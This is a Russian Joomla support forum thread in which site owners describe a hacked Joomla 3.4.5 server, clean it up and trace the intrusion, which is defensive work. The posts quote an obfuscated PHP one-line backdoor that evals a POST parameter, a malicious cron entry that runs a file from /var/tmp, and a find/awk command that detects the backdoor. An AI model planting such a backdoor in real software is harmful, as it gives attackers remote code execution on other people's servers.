Форум русской поддержки Joomla!® CMS
11.12.2016, 12:03:51 *
Добро пожаловать, Гость. Пожалуйста, войдите или зарегистрируйтесь.
Вам не пришло письмо с кодом активации?

Войти
   
   Начало   Поиск Joomla 3.0 FAQ Joomla 2.5 FAQ Joomla 1.5 FAQ Правила форума Новости Joomla Реклама Войти Регистрация Помощь  
Страниц: [1]   Вниз
  Добавить закладку  |  Печать  
Автор

сайт на Joomla 3.4.5 взломан

 (Прочитано 1071 раз)
0 Пользователей и 1 Гость смотрят эту тему.
KyM
Захожу иногда
**

Репутация: +0/-0
Offline Offline

Пол: Мужской
Сообщений: 14


« : 24.11.2015, 18:02:53 »

Здравствуйте уважаемые форумчане.
Обнаружил у себя недавно на сервере, где размещены несколько сайтов на Joomla 3.4.5 большой поток исходящей почты (примерно 65К писем в час) по одному и доменов. обездвижил домен, затем полез в исходники и обнаружил там порядка 35 кусков кода в новых файлах и файлах движка следующего вида:

<?php $fix19="ts_po" ;$ayb33=strtoupper($fix19[2]. $fix19[3] .$fix19[4].$fix19[1]. $fix19[0]) ;if ( isset ( ${ $ayb33 }['q5bb481'])){ eval( ${$ayb33}['q5bb481' ]) ;}?>

Во всех обнаруженных файлах переменные соответственно разные.

После зачистки подобного рода кода, через пару дней ситуация повторяется, внердяется подобный код в модули/компоненты/плагины/библиотеки и пр., но спам при этом не идет и после установки плагина easycalcchek файлы админки злоумышленником не повреждаются и не изменяются. Отсюда делаю вывод, что хакер использует одну из уязвимостей из установленных в системе расширений, либо иной бэкдор.

Вопросы, собственно, следующие:
Какя методология определения наличия бэкдора?
Возможно ли в БД сделать подобную "закладку"?

PS Пароли для БД, админки и FTP после зачистки менял.
PPS Удалил JCE перед зачисткой как возможную уязвимость
PPPS После удаления найденных левых файлов поверх имеющихся накатил файлы Joomla с офф. сайта


« Последнее редактирование: 24.11.2015, 18:17:16 от KyM » Записан
voland
Профи
********

Репутация: +488/-86
Offline Offline

Пол: Мужской
Сообщений: 8736


любит наш народ всякое гавно...


« Ответ #1 : 24.11.2015, 18:11:50 »

Вот понаставят всякой ерунды, а в заголовке движок обвиняют!
Записан
KyM
Захожу иногда
**

Репутация: +0/-0
Offline Offline

Пол: Мужской
Сообщений: 14


« Ответ #2 : 24.11.2015, 18:15:54 »

К движку претензий не имею, просто хочу разобраться где уязвимость или как её отловить.
Записан
voland
Профи
********

Репутация: +488/-86
Offline Offline

Пол: Мужской
Сообщений: 8736


любит наш народ всякое гавно...


« Ответ #3 : 24.11.2015, 18:21:53 »

А я не вижу ни списка расширений, ни наличия вареза, ни когда обновлялись, ни откуда качалось..
Отсюда надо начинать разбираться
Записан
KyM
Захожу иногда
**

Репутация: +0/-0
Offline Offline

Пол: Мужской
Сообщений: 14


« Ответ #4 : 24.11.2015, 18:27:47 »

Попробую дать более подробную инфу. Расширения, вроде те, что из левых:
JCE (уже удален)
Fox Contact 3.4.3
mod_playlistck (этот вроде с офф сайта)

К сожалению, откуда качалось остальное, сказать не могу, просто не знаю.

Сам движок обновлен 20-го ноября 2015г.
« Последнее редактирование: 24.11.2015, 18:36:42 от KyM » Записан
jlend
Осваиваюсь на форуме
***

Репутация: +2/-0
Offline Offline

Сообщений: 34


« Ответ #5 : 24.11.2015, 18:47:11 »

Сам движок обновлен 20-го ноября 2015г.


Это и есть ваша первая проблема в 3.4.5 закрыты очень большие уязвимости прошлых версий, вам надо было обновиться с выходом патча сразу как минимум еще месяц назад.

Какя методология определения наличия бэкдора?

Чтение и анализ логов на сервере.
Записан
KyM
Захожу иногда
**

Репутация: +0/-0
Offline Offline

Пол: Мужской
Сообщений: 14


« Ответ #6 : 24.11.2015, 18:52:36 »

После обновления (20-го) исходники были опять изменены + добавлены собственные файлы (24-го, хакером), всё впринципе вычистил, но затрудняюсь в поиске самого бэкдора.
Подскажите, плз, методологию анализа базы данных и исходников с целью поиска бэкдора.
Записан
flyingspook
Moderator
*****

Репутация: +226/-9
Offline Offline

Сообщений: 3540


« Ответ #7 : 24.11.2015, 19:14:12 »

Если вас взломали сайт надо сначала чистить и потом только обновлять.
Если сайт не один то смотреть надо все сайты.
Записан
KyM
Захожу иногда
**

Репутация: +0/-0
Offline Offline

Пол: Мужской
Сообщений: 14


« Ответ #8 : 24.11.2015, 19:20:28 »

обновлял после чистки, но есть подозрение, что взломщик оставил закладку в базе данных (например обращение к какому-нибудь зараженному png и т.п.)

посмотрел по логам, кто-то постоянно долбится к модулю mod_speedup, который я удалил (косяк, не забэкапил) при первой чистке, но при том, что этот модуль был удален, фронт был заражен повторно Sad
Записан
flyingspook
Moderator
*****

Репутация: +226/-9
Offline Offline

Сообщений: 3540


« Ответ #9 : 24.11.2015, 20:25:58 »

обновлял после чистки, но есть подозрение, что взломщик оставил закладку в базе данных (например обращение к какому-нибудь зараженному png и т.п.)
Значит не до чистили, чистите все по новой. Обычная ошибка тех кто впервой делает чистку. Пропустили shell или код подключения для заливки.
Записан
winstrool
Завсегдатай
*****

Репутация: +39/-2
Offline Offline

Пол: Мужской
Сообщений: 727


Свободен для работы


« Ответ #10 : 25.11.2015, 01:28:39 »

на счет БД, ищите код который инклудит JS, в нем могут быть прописаны скрипты которые при авторизованом действие могут вписать код в файл, к примеру тот же бегдор....
Записан
KyM
Захожу иногда
**

Репутация: +0/-0
Offline Offline

Пол: Мужской
Сообщений: 14


« Ответ #11 : 25.11.2015, 14:39:43 »

В общем, кому интересно, вроде, нашел через что залезли.

Через уязвимость com_contenthistory, подобными запросами (кусок лога запросов под спойлером):
Показать текстовый блок

mod_speedup содежит в себе бэкдор, с помощью которого закидываются прочие файлы (штук 35-40)
Показать текстовый блок
Записан
zikkuratvk
Профи
********

Репутация: +258/-2
Offline Offline

Пол: Мужской
Сообщений: 3938


Разрабатываем для Joomla


« Ответ #12 : 25.11.2015, 15:16:42 »

Ну собственно вот вам и ответ... ломанули вас через бэкдор, который был исправлен в 3.4.5. А повторные взломы были уже через бекдор...
Записан
Knyaz71
Осваиваюсь на форуме
***

Репутация: +3/-0
Offline Offline

Пол: Мужской
Сообщений: 28



« Ответ #13 : 04.12.2015, 04:01:40 »

Была такая же и подобная хрень ((( а точнее
- файлов 25 со строкой <?php $fix19="ts_po" ;$ayb33=strtoupper($fix19[2]. $fix19[3] .$fix19[4].$fix19[1]. $fix19[0]) ;if ( isset ( ${ $ayb33 }['q5bb481'])){ eval( ${$ayb33}['q5bb481' ]) ;}?>, но решил не заморачиваться с чисткой, а просто переустановил движок
- был найден shell в корне шаблона beez3
- запись в cron'е пользователя, с обращением к файлу в папке tmp сервера (который запускал лишние процессы в системе)

П.С.
Спасибо FastVPS!
Подсказали что рассылка ведётся из файла: /var/www/**user**/data/www/**site**/plugins/twofactorauth/files.php

Сказали провереть файлы. Как в итоге оказалось, в каждом была строка из первого примера!
root@server:# cd /
root@server:/# find /var/www/*/data/www/ -type f -name '*.php' -print0 | xargs -0r awk '/strtoupper.*eval/ {print FILENAME} {nextfile}'

Показать текстовый блок

cron
/var/spool/cron/crontabs/**user**:*/15 * * * * /var/tmp/VfWoUbBnm >/dev/null 2>&1
Записан
winstrool
Завсегдатай
*****

Репутация: +39/-2
Offline Offline

Пол: Мужской
Сообщений: 727


Свободен для работы


« Ответ #14 : 04.12.2015, 09:21:23 »

Была такая же и подобная хрень ((( а точнее
- файлов 25 со строкой <?php $fix19="ts_po" ;$ayb33=strtoupper($fix19[2]. $fix19[3] .$fix19[4].$fix19[1]. $fix19[0]) ;if ( isset ( ${ $ayb33 }['q5bb481'])){ eval( ${$ayb33}['q5bb481' ]) ;}?>, но решил не заморачиваться с чисткой, а просто переустановил движок
- был найден shell в корне шаблона beez3
- запись в cron'е пользователя, с обращением к файлу в папке tmp сервера (который запускал лишние процессы в системе)

П.С.
Спасибо FastVPS!
Подсказали что рассылка ведётся из файла: /var/www/**user**/data/www/**site**/plugins/twofactorauth/files.php

Сказали провереть файлы. Как в итоге оказалось, в каждом была строка из первого примера!
root@server:# cd /
root@server:/# find /var/www/*/data/www/ -type f -name '*.php' -print0 | xargs -0r awk '/strtoupper.*eval/ {print FILENAME} {nextfile}'

Показать текстовый блок

cron
/var/spool/cron/crontabs/**user**:*/15 * * * * /var/tmp/VfWoUbBnm >/dev/null 2>&1
В крон cron могли попасть получив доступ к центральной панели, т.е как вариант протроянив вашь комп или получив доступ к почте, где многие юзеры остовляют свои логины:пассы
Записан
flyingspook
Moderator
*****

Репутация: +226/-9
Offline Offline

Сообщений: 3540


« Ответ #15 : 04.12.2015, 12:59:30 »

В крон cron могли попасть получив доступ к центральной панели, т.е как вариант протроянив вашь комп или получив доступ к почте, где многие юзеры остовляют свои логины:пассы
и через хостера, как это распространено
Записан
Страниц: [1]   Вверх
  Добавить закладку  |  Печать  
 
Перейти в:  

Powered by SMF 1.1.21 | SMF © 2006, Simple Machines

Joomlaforum.ru is not affiliated with or endorsed by the Joomla! Project or Open Source Matters.
The Joomla! name and logo is used under a limited license granted by Open Source Matters
the trademark holder in the United States and other countries.

LiveInternet